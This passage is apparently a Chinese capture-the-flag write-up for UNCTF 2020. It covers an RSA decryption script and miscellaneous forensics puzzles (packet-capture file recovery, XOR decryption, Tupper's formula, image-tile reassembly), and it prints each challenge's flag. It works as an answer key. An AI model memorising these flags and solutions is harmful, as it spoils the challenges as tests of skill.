a = 320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
b = 9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
p = (a+b)/2
q = (a-b)/2
n = p * q
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
c = 22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780
m = pow(c,d,n)
print(libnum.n2s(m))
#UNCTF{welcome_to_rsa}
MISC
baba_is_you:
png后面有个bilibili网址,点进去第一条评论就是flag
爷的历险记:
之前WMCTF有过类似的RPG,直接上手RPG Maker MV,重建游戏,把所有文件复制到新建工程中。
观察了一下,有hint1,hint2,hint3,flag1,flag2,flag3。一股脑在room中将那条狗赋予商品处理事件,里面直接售卖hint1,hint2,hint3,flag1,flag2,flag3,且金钱调为0。
进入游戏,购买商品。发现flag3和hint3都是写着UNCTF{WelC0me_ 70_ UNCTF2oZ0~}。
但是,这个出题人可能脑抽了,直接明文搜UNCTF就可以搜到flag。。。。
YLB's CAPTCHA - 签到题:
没什么好说的,就是硬看。
躲猫猫:
直接打开报错,右键压缩包打开,穷举。
发现sharedStrings.xml中有个dW5jdGYlN0I3MzgzYjY3ZGU5MTA2YTZmMTBmZGJlNGU4ZWJjNjRjZSU3RA==
解码base64得unctf%7B7383b67de9106a6f10fdbe4e8ebc64ce%7D,再url解码得unctf{7383b67de9106a6f10fdbe4e8ebc64ce}
YLB绝密文件:
直接用 foremost分离,得到一堆htm文件和zip,zip损坏打不开,逐个分析网页可得,用户一共上传成功了YLBSB.zip,secret.cpython-38.pyc,xor.py这三个文件。
用wireshark打开,定位到xor.py,复制tcp流,整理一下可得加密脚本
#coding:utf-8
import base64
from secret import key
file =open("YLBSB.docx", "rb")
enc =open("YLBSB.xor", "wb")
plain = base64.b64encode(file.read())
count = 0
for c in plain:
d = chr(c ^ ord(key[count % len(key)]))
enc.write(d.encode())
count =count + 1
再定位到YLBSB.zip,导出 tcp流,保存为zip,打开解压的YLBSB.xor。
在导出pyc的过程中出了点问题,之后看到
Content-Disposition: form-data; name="uploadfile"; filename="secret.cpython-38.pyc"
Content-Type: application/x-python-code
U
....k.._#........................@...s....d.Z.d.S.).z.YLBSB?YLBNB!N)...key..r....r.....9C:Usersyolo-DownloadsHQUCTFUNCTF2020Miscsecret.py..<module>.........
猜测key为YLBSB?YLBNB!,写解密脚本
import base64, binascii
enc =open("YLBSB.xor", "rb")
file =open("YLBSB.docx", "wb")
key = "YLBSB?YLBNB!"
plain = enc.read().decode()
count = 0
d =''
for c in plain:
a = chr(ord(c) ^ ord(key[count % len(key)]))
d = d + a
count =count + 1
file.write(base64.b64decode(d))
得到YLBSB.docx,打开发现最后没有文字,却有英文检查出现错误时标志的下滑波浪线,选定,调为黑色得flag:UNCTF{Best_YLB_Ever}
阴阳人编码:
把就这和不会吧换成Ook,把¿换成?,找个网址解密Ook密码得flag:flag{9_zhe_Jiu_zhe_8_hui_8}
网络深处1:
给了三个文件,zip是加密的,打开提示可得密码是纯数字,将拨号音拖入Audacity,观察频谱图,可知密码为11位数,上ARCHPR破解得密码15975384265,解密得到一个wav和一个txt,继续将电话录音拖入Audacity,观察频谱图,得到tupper关键字。
百度后可知是Tupper自我指涉公式,扒个官网的画图代码,
def Tupper_self_referential_formula():
k = 636806841748368750477720528895492611039728818913495104112781919263174040060359776171712496606031373211949881779178924464798852002228370294736546700438210687486178492208471812570216381077341015321904079977773352308159585335376746026882907466893864815887274158732965185737372992697108862362061582646638841733361046086053127284900532658885220569350253383469047741742686730128763680253048883638446528421760929131783980278391556912893405214464624884824555647881352300550360161429758833657243131238478311219915449171358359616665570429230738621272988581871
def f(x,y):
d = ((-17 * x) - (y % 17))
e = reduce(lambda x,y: x*y, [2 for x in range(-d)]) if d else 1
f = ((y / 17) / e)
g = f % 2
return 0.5 < g
for y in range(k+16, k-1, -1):
line = ""
for x in range(0, 107):
if f(x,y):
line += "@"
else:
line += " "
print line
if __name__ == '__main__':
returned = Tupper_self_referential_formula()
if returned:
print str(returned)
k即为txt里给的那一大串数字。运行得
flag:flag{Y29PBA==}不用去解密成coil。。。。。
被删除的flag:
和我之前国赛做的电脑被黑没有什么区别,按照套路走一遍就拿到flag:unctf{congratulations!}
EZ_IMAGE:
得到225张图,用ImageMagick中的montage命令合成一张大图
montage *.jpg -tile 15x15 -geometry 60x60+0+0 out.jpg
得到一张大图之后,用gaps来进行还原:
gaps --image=out.jpg --generations=40 --population=225 --size=60 --save
得到flag:UNCTF{EZ_MISC_AND_HACK_FUN}